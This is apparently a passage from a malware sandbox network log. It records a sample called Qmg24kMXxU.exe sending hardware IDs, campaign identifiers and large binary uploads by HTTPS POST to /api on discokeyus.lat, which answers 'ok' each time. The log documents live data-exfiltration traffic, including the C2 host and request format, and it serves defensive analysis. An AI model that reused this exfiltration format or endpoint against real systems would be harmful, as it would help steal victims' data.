2024-12-20 15:19:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:19:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49754	172.67.197.170	443	6508	C:\Users\user\Desktop\Qmg24kMXxU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:19:31 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1VJP92NI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15045 Host: discokeyus.lat
2024-12-20 15:19:31 UTC	15045	OUT	Data Raw: 2d 2d 31 56 4a 50 39 32 4e 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 38 31 38 43 30 30 35 33 45 31 30 41 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 56 4a 50 39 32 4e 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 56 4a 50 39 32 4e 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 31 56 4a 50 39 32 4e 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --1VJP92NIContent-Disposition: form-data; name="hwid"59818C0053E10A4AAC8923850305D13E--1VJP92NIContent-Disposition: form-data; name="pid"2--1VJP92NIContent-Disposition: form-data; name="lid"PsFKDg--pablo--1VJP92NIContent-Disposit
2024-12-20 15:19:35 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=po0v7bott7f8vfch99917q6mr8; expires=Tue, 15 Apr 2025 09:06:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0zHfb4OsyfeLefCxAVnzOhPZs%2BOXxlQ4gUukHl3jYHJHqM4kTzraVC%2F8QSjE1v6FT3VyS49XGCNt2qg4VebH3tqbiCfuDNgp4ApuVAbpa3R%2FI8tMR26PZPItyUeNahzS1w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509c755869efa7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2016&min_rtt=2009&rtt_var=767&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2831&recv_bytes=15973&delivery_rate=1413359&cwnd=161&unsent_bytes=0&cid=437eb5e09268cff5&ts=4321&x=0"
2024-12-20 15:19:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:19:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49779	172.67.197.170	443	6508	C:\Users\user\Desktop\Qmg24kMXxU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:19:37 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TIF777ZK1ZGFCF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19939 Host: discokeyus.lat
2024-12-20 15:19:37 UTC	15331	OUT	Data Raw: 2d 2d 54 49 46 37 37 37 5a 4b 31 5a 47 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 38 31 38 43 30 30 35 33 45 31 30 41 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 54 49 46 37 37 37 5a 4b 31 5a 47 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 54 49 46 37 37 37 5a 4b 31 5a 47 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 54 49 46 37 37 37 5a 4b Data Ascii: --TIF777ZK1ZGFCFContent-Disposition: form-data; name="hwid"59818C0053E10A4AAC8923850305D13E--TIF777ZK1ZGFCFContent-Disposition: form-data; name="pid"3--TIF777ZK1ZGFCFContent-Disposition: form-data; name="lid"PsFKDg--pablo--TIF777ZK
2024-12-20 15:19:37 UTC	4608	OUT	Data Raw: 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: +?2+?2+?o?Mp5p_oI
2024-12-20 15:19:39 UTC	1134	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=husljp0sdvjmfdpejb8jcsa483; expires=Tue, 15 Apr 2025 09:06:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IeCsI5ccm82sS0DEeIl1P0omlw4PCIIwZ6Y70PWsxzDp5T%2FQKyJXb3mEf8SzKCu%2BWEfqyuyaYXUbaxgfM4k3cxjpV%2BY1hvBT3o2LiPcKy1%2FO9OPRUH76%2FzjY5Ku1qflYFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509c9a48977c8a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2026&min_rtt=1894&rtt_var=804&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2833&recv_bytes=20895&delivery_rate=1541710&cwnd=241&unsent_bytes=0&cid=d11a3c7f186d7dcb&ts=2029&x=0"
2024-12-20 15:19:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:19:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49792	172.67.197.170	443	6508	C:\Users\user\Desktop\Qmg24kMXxU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:19:40 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0WGJWFL04HHHGJ5M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1249 Host: discokeyus.lat
2024-12-20 15:19:40 UTC	1249	OUT	Data Raw: 2d 2d 30 57 47 4a 57 46 4c 30 34 48 48 48 47 4a 35 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 38 31 38 43 30 30 35 33 45 31 30 41 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 57 47 4a 57 46 4c 30 34 48 48 48 47 4a 35 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 57 47 4a 57 46 4c 30 34 48 48 48 47 4a 35 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 30 57 Data Ascii: --0WGJWFL04HHHGJ5MContent-Disposition: form-data; name="hwid"59818C0053E10A4AAC8923850305D13E--0WGJWFL04HHHGJ5MContent-Disposition: form-data; name="pid"1--0WGJWFL04HHHGJ5MContent-Disposition: form-data; name="lid"PsFKDg--pablo--0W
2024-12-20 15:19:43 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iu4b2nme2jgg1sjvvfpr7imk3t; expires=Tue, 15 Apr 2025 09:06:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nOjmB8t9vztZlsHhCrMe4SMMklF7xk7xChSZK5j%2BZK3CvM4UxspozL%2BDcV%2Ff2PI%2BnQX1pVtXQ61Eb0BY2YspKBHWn5q3UsNc2ATgRP%2FYtubu%2B3QiqxffQb2oOqPrlHUlQg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509cb24e5980e2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1516&min_rtt=1507&rtt_var=584&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=2162&delivery_rate=1843434&cwnd=114&unsent_bytes=0&cid=b44250b20fd3e439&ts=2122&x=0"
2024-12-20 15:19:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 15:19:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49807	172.67.197.170	443	6508	C:\Users\user\Desktop\Qmg24kMXxU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:19:45 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CJPWEC9JMV754GFNZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 553039 Host: discokeyus.lat
2024-12-20 15:19:45 UTC	15331	OUT	Data Raw: 2d 2d 43 4a 50 57 45 43 39 4a 4d 56 37 35 34 47 46 4e 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 39 38 31 38 43 30 30 35 33 45 31 30 41 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 43 4a 50 57 45 43 39 4a 4d 56 37 35 34 47 46 4e 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 4a 50 57 45 43 39 4a 4d 56 37 35 34 47 46 4e 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --CJPWEC9JMV754GFNZContent-Disposition: form-data; name="hwid"59818C0053E10A4AAC8923850305D13E--CJPWEC9JMV754GFNZContent-Disposition: form-data; name="pid"1--CJPWEC9JMV754GFNZContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-20 15:19:45 UTC	15331	OUT	Data Raw: 0c 57 9f 3d 87 27 e9 a1 fd d7 3d 2e 9d ff ed 80 17 03 fa 01 35 7e ff 90 05 f3 4f 49 0a 1f e0 9d b0 46 82 49 bf 0b 16 f2 63 f5 5f aa 4d 1c db 56 6d 4a e5 06 23 c7 3a cd 40 76 1c 99 07 af d9 a6 a4 2e 65 3a 2a 6f e3 a7 73 87 95 e8 0c fb 74 df ce 7e 74 b3 95 3d 30 d7 de 57 ab d8 3c 65 49 be 71 4e 9b b0 4e 8a c5 1f 6d 18 b7 4d 76 36 ef 0d 35 4c c1 46 05 5a 69 08 bd ac 93 f3 ff 2d 7a fb 46 6a 9a 58 10 45 e6 d2 88 fb d6 b3 7d b8 9c 7c e5 3d 90 ac 0e 46 1a be e6 a8 53 e0 de 00 68 ed 60 90 3b 5c ea 06 ad 47 04 b4 be 70 00 a4 a1 60 6f 2c 23 6d 80 5a 81 87 55 31 6c be d3 b0 ca dc dd b9 ee 6f 8b 1f 16 8e ce 81 91 68 a5 6a 71 6b 78 ae fb 83 47 5b d5 c7 7e dd 4f 2b df 0c 20 da ac cc 5d 7e 6d 4c 80 3e 44 1b c2 b1 cf 12 c0 e0 90 62 5d 0a aa 61 b6 38 b6 cb 63 a8 84 94 dc Data Ascii: W='=.5~OIFIc_MVmJ#:@v.e:*ost~t=0W<eIqNNmMv65LFZi-zFjXE}\|=FSh`;\Gp`o,#mZU1lohjqkxG[~O+ ]~mL>Db]a8c
2024-12-20 15:19:45 UTC	15331	OUT	Data Raw: 24 99 b8 d2 a6 e9 e3 ad f2 28 9d 9c 99 a0 50 bd c1 71 bd 22 ce 8f 8d 3d fd 70 fc 0b 99 6e 84 6e a2 6e 44 eb ba 74 7e 3a 18 cb 7d 74 cb c1 dd 78 84 cb 09 95 2a 17 d7 e5 a0 1b ae e5 76 b1 54 d6 7f b5 8e da 60 b5 b4 e2 e1 51 67 2b ed 1e 9f 4f 04 8f 72 69 08 e2 16 c1 94 66 6a 27 10 e3 e3 c8 a7 7d af ed 7b c9 57 9b ac e4 94 12 56 f6 32 21 b4 2c b8 5b d4 c9 91 23 2f cb 7b fb 14 35 0a 53 2f 9a ed 81 ed e8 0b 46 62 ce 60 e2 de 3a cc 03 3f 01 67 1f 9c a0 7d ac b8 59 80 ed b9 d3 04 3e 08 f7 38 ec a0 23 5f 25 c6 2d 6a 06 f5 c6 5d 56 2e 8f 6b ae b4 d1 0b a5 c9 33 5d 9a c8 10 d9 5a d1 d4 9d 92 fd 23 44 7e 38 4c 4d ba 20 ce 49 59 9e 94 12 1e 80 cf db b6 ad 23 97 33 8b 76 13 7b 92 7f 66 c5 e9 4b cf cc f3 1c af a9 67 a5 6d 60 38 55 32 1a 6a d9 4b f4 99 51 c9 3a 5f 8e 3c Data Ascii: $(Pq"=pnnnDt~:}tx*vT`Qg+Orifj'}{WV2!,[#/{5S/Fb`:?g}Y>8#_%-j]V.k3]Z#D~8LM IY#3v{fKgm`8U2jKQ:_<
2024-12-20 15:19:45 UTC	15331	OUT	Data Raw: b2 06 53 0d 9d 40 50 3a 86 7e d8 b4 d4 9e 95 17 11 14 1e 18 bb db fb 15 3d 47 53 2e 50 87 5d 51 07 f1 5c 05 d0 c5 d2 a8 b2 ad 97 3f 77 cd 26 d2 ea c3 70 e2 b0 93 63 b7 87 9a 45 9f 0c 79 df 38 bf f4 c9 ff dd e4 19 fa e0 e0 85 9f 21 9a 64 5d 35 f4 14 dd 0c 47 71 7d 8c 40 e4 8d de 17 30 fc 48 7c 20 ae 14 88 21 ec 3b 11 3c d8 f2 b6 b5 32 ed 76 cd 4d 9d 2f c0 ca 15 af 99 0f 7d e4 a9 9d 55 be 9c 66 f8 45 26 97 7d f5 0e 81 97 72 ef 7e 6b 62 58 26 9b 3d f7 74 2a 8c 57 92 0c fc e7 f3 cc a7 a8 0b bc 86 d6 dd 5d 33 13 0c 21 a1 30 0b 2c f1 30 2d 8f 95 36 a5 cb 01 62 e8 43 34 2e da d4 ef 0a 5a 88 23 fd 7d a9 1e 5f 68 dd 74 e6 9d b7 72 6a d7 d6 83 0e e2 c4 3e bd cb 3f 11 c0 62 06 b7 04 33 57 48 2a ea 59 be 43 7f e9 aa c9 04 d0 0a 25 45 c7 4a 9f 85 e4 63 2d 86 65 ac c3 Data Ascii: S@P:~=GS.P]Q\?w&pcEy8!d]5Gq}@0H\| !;<2vM/}UfE&}r~kbX&=tW]3!0,0-6bC4.Z#}_htrj>?b3WHYC%EJc-e
2024-12-20 15:19:45 UTC	15331	OUT	Data Raw: 55 ca eb dc 20 25 36 61 2f b4 8c 7c df 35 fd 47 09 d3 63 68 d1 70 83 17 eb f7 74 a3 7f 62 9e 1d 37 85 b0 18 3a 31 d8 e0 4f d0 86 66 b4 91 9f 91 a1 ac 7d 7a 31 e4 32 db 8d b8 13 1e 5d ef dd f7 7d 48 02 91 cc 6d e4 94 aa b0 4e 6f 22 37 43 fb 45 3b 1a e7 57 37 03 60 af 92 3b fd cf 13 e2 69 bc 3b 98 30 2f c6 ef 11 de 4a d5 a3 17 6b 4e 4b cf 76 5d a6 19 d2 85 ef 74 16 21 d5 fa 34 36 20 f0 60 cf 68 8e 8e 26 c9 74 a3 70 4a e4 b2 aa 4c 6e 34 6f fb 1f 43 a7 7d cd 90 da 75 a2 e8 7d 11 bd c4 f6 86 7a 5b ce 15 b0 8d df 11 dd b8 75 4a 54 99 55 28 8a b9 4c 6c 2c 78 4a dc 94 d8 27 42 bf 89 0b 9e 03 45 ad c1 08 46 c1 81 f2 ad ad 52 9e 6f 6f 0f 8d b0 52 52 1e 79 d7 bc 47 b2 33 83 8b 4b c3 a2 28 8d 43 c3 cb 72 dc b8 23 49 21 1a 9a 4a 11 d4 69 1e 2f fa bd f9 c1 48 7c f5 f8 Data Ascii: U %6a/\|5Gchptb7:1Of}z12]}HmNo"7CE;W7`;i;0/JkNKv]t!46 `h&tpJLn4oC}u}z[uJTU(Ll,xJ'BEFRooRRyG3K(Cr#I!Ji/H\|
2024-12-20 15:19:45 UTC	15331	OUT	Data Raw: 16 15 b1 c3 bf 35 92 60 63 cc 3d 31 34 7f 45 40 12 ba fb 3f 24 74 e7 33 9a 96 eb f5 e3 78 de 7b 1e 50 1e 01 9b 61 41 e4 3e 5a 2d 06 58 05 35 a4 e4 51 55 b3 5b 55 8f 0d 05 0d fc d0 c9 be 63 5e a5 43 00 59 a6 79 af 1a dd 0f 72 c8 1f 90 4d 06 e4 a3 bc a0 f8 11 c6 b7 8f a3 ff 5c 67 de 3d 8f 0f 0c 5d 27 60 aa 6b 7b 68 a1 10 15 82 20 4f 5a de f2 d3 89 64 57 8c 05 44 f7 2b 06 13 10 99 93 81 df ba 2e 14 48 98 b5 f4 4d cd 15 d1 ad f1 71 da 8d d8 57 3d 3f 11 38 3e 75 b0 11 01 c8 65 50 27 7b d6 5d 72 dd 03 fd 84 96 7a aa 7e 5a eb 4f 10 0b a5 60 03 38 b0 ec cc d5 41 3d 72 09 a6 94 a7 1b 11 bd 84 24 f8 ae 22 12 3f 2c 08 31 2d 41 63 d6 bd 83 65 af ee d4 ff 31 d1 30 4f 4b b9 04 9c 53 3f ba b4 3e 83 09 7b 77 cb a5 5b c2 20 a4 93 37 cf 73 c2 82 19 32 6e 87 6f 69 77 28 89 Data Ascii: 5`c=14E@?$t3x{PaA>Z-X5QU[Uc^CYyrM\g=]'`k{h OZdWD+.HMqW=?8>ueP'{]rz~ZO`8A=r$"?,1-Ace10OKS?>{w[ 7s2noiw(
2024-12-20 15:19:45 UTC	15331	OUT	Data Raw: f7 62 76 8e e1 58 c6 2c 3f 3f 8c 9a a8 aa 91 f9 fe 25 c4 8b 41 32 11 f4 86 9a 3c df f8 f4 b1 17 e5 14 64 48 af 40 76 1e 11 75 1f 44 87 89 a7 b5 ee 28 ef bd f6 59 7d 4f f2 b0 95 0b d3 45 74 9e ca fe 5b 31 51 3c ec a6 72 41 a0 c0 e9 5f 68 a4 05 7d 23 c1 70 ae 71 80 52 22 7a f2 94 6d ba a9 d9 c9 18 f7 99 dc 00 a2 20 24 68 0b f4 81 49 6c 81 60 f0 5d 35 6a 86 54 b8 1f f6 72 d7 00 05 47 54 0e bb 8c d2 5c 05 08 e1 a1 38 17 7b b5 fb 1e 62 27 fe 83 f7 bf ab 97 be a4 73 7c ec 17 1c 29 d6 df 09 bb e9 48 d9 c9 7b 1e c5 bc 41 ef 36 b9 d9 fe c5 e3 6d c4 8f 87 a2 86 b7 5b 6d c7 d3 b4 e1 eb a3 58 6b 5c 62 82 97 19 91 40 25 96 f1 f1 c2 cd 84 b9 96 6b c9 6c e4 0c 06 14 0b d8 65 d6 0a 64 91 10 4b 3e 4d 69 11 35 d6 bc bc 29 10 ed f8 e1 95 04 e8 3c 2c 5d 7f e7 e8 e1 ee 2b dc Data Ascii: bvX,??%A2<dH@vuD(Y}OEt[1Q<rA_h}#pqR"zm $hIl`]5jTrGT\8{b's\|)H{A6m[mXk\b@%kledK>Mi5)<,]+
2024-12-20 15:19:45 UTC	15331	OUT	Data Raw: ab ad ad 27 8e 19 95 d8 1c 5c 73 5e 78 6c c2 61 2c d6 ed 96 5c 7d 94 51 da d4 74 8d c3 de c9 6b ae dc e1 25 0c dd 00 a4 49 19 75 01 18 f7 50 09 f0 63 5e 30 6a 0e ab d4 03 3d 8b b6 fe 84 70 d3 ce bb a7 0a c9 f7 02 de c9 3b 7f ab 40 1e d7 c1 4d b4 12 69 02 b2 71 c4 82 13 df 35 44 1f 36 fe f1 44 83 40 1e a1 e3 0a ce 6c f4 99 52 d5 c4 c0 0d 06 15 c5 2c 3e a4 7f 1b 03 82 d1 10 08 c1 6e eb 8f 7c d7 82 b7 63 90 c3 58 40 ca 52 4a 3c 0f 0a 24 04 f8 01 61 9d c8 0b e2 53 99 2b 45 30 ea 87 6c 01 38 cd 7a 4f 07 46 14 12 f2 6d a3 6a c3 3d dc c0 1d c1 74 2e 89 87 f5 2c ba c1 f0 51 ee fa 7b b9 08 9c 7b 99 2d 8a 7d 78 e1 c2 0b d2 eb f8 8a 1c 01 70 90 31 f6 24 70 7a b2 ea 0f 89 02 95 9d ef 70 1c 0a f2 83 fd d8 8c 29 1e cc d0 89 f6 6f 0c e3 dd 9d 45 ee df 50 06 48 5c b2 e1 Data Ascii: '\s^xla,\}Qtk%IuPc^0j=p;@Miq5D6D@lR,>n\|cX@RJ<$aS+E0l8zOFmj=t.,Q{{-}xp1$pzp)oEPH\
2024-12-20 15:19:45 UTC	15331	OUT	Data Raw: 4a 8b 3f 37 76 14 27 6f 98 b3 38 a5 9f f2 51 ad ac b3 4e 0a 0d 9b 52 73 b6 b8 a7 05 36 10 06 5e 24 92 b9 f1 c1 1a 8f 29 4f e9 80 f4 8d 49 33 eb 1f 68 64 77 7f 15 26 9d a0 e5 fc 8f dd 13 e6 17 1c 81 c9 11 18 c7 56 a6 57 7a 36 78 8b 2c 8b 8b 84 75 ed 2f 7e fc 00 03 07 aa e0 97 91 13 6f 66 ca 66 3f 32 b6 11 41 da f5 13 8c f4 de a8 23 49 f2 ec dc 96 ad 26 45 cf 22 ac 34 b3 3c 7c 57 66 f6 35 ba 1f 45 a3 26 f6 7b 8c 1e 32 6a 8d 7f e3 58 84 db 7b 37 75 aa ae e5 af fa e2 ab 6e c5 6d 11 fc 3c 4f 3f 56 19 86 21 fb f8 83 e6 9e c9 19 cc 46 ad c7 9f 60 86 37 79 a6 76 20 b0 20 64 b8 22 77 c4 75 2d 7f e4 d6 50 17 af 24 36 64 e9 9b 45 99 b9 57 ba 4f c4 94 a9 c9 ef 2e db d6 ab 9d db db ae 35 6c 6f 8b 6b 9f 5e cc 91 61 f9 ac 7a 23 46 3f 04 7a 14 9f 4c 21 50 17 e2 37 de f9 Data Ascii: J?7v'o8QNRs6^$)OI3hdw&VWz6x,u/~off?2A#I&E"4<\|Wf5E&{2jX{7unm<O?V!F`7yv d"wu-P$6dEWO.5lok^az#F?zL!P7
2024-12-20 15:19:45 UTC	15331	OUT	Data Raw: 63 87 8e ba c1 8f 24 01 22 c3 29 bf cd 7c 68 ff 34 ce fe da c8 db 71 ed 01 ee fc 5b 12 da a0 be f7 2b c4 3a 80 ac 7f 20 12 2d 34 a3 c1 48 66 83 84 30 29 12 01 5c 74 64 bc e4 f1 c8 9a cb 7d 3b df b5 07 91 c0 fe f1 af 32 ae 2e f3 d7 fe 5e 0d 98 f9 c8 d8 36 1b cf dc 6d a4 78 2f 9d ae 69 66 1e 65 cf 1c 36 35 c2 c8 11 da 05 0b 97 b2 05 de ab 27 26 c4 0d 9a 6d e2 d7 71 7a ce 51 b2 54 77 0b 33 f0 a8 87 fb 77 94 77 9c 29 ac b8 71 a6 26 f4 8e 70 71 18 36 08 f5 33 c7 21 47 5e 5d fe 78 d0 70 e0 8f 27 eb 8b 5f 7d 54 fd f0 cf 9a cd 48 ab 56 09 9b 43 4d 63 6d 1b de 11 fa 18 9a 9b ae 5d b0 dc 70 e0 de 59 91 88 95 4f b2 9b a7 9f ed 3c 2d f4 c7 72 25 50 95 25 bb e7 5c 40 0d a5 48 76 20 dd 1e ef 8c 5e b1 64 db d8 06 df e2 84 fc b8 91 24 a9 2f 2e a8 68 01 47 f1 d8 b8 94 28 Data Ascii: c$")\|h4q[+: -4Hf0)\td};2.^6mx/ife65'&mqzQTw3ww)q&pq63!G^]xp'_}THVCMcm]pYO<-r%P%\@Hv ^d$/.hG(
2024-12-20 15:19:49 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1v6msa1bml4ofbop7hjr84pivt; expires=Tue, 15 Apr 2025 09:06:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eTNLFx1e2Q2HlT4wkGQIoy%2F0lu18e09ms4705zZOWsL65hV9npXWPJMYmv7Jq1FDYhGCrK7krDBKPQro7LCvNOWdBOyATFjxxoMrWB7o3c70n9CSODnKK15y1Bf3w%2FXF%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare 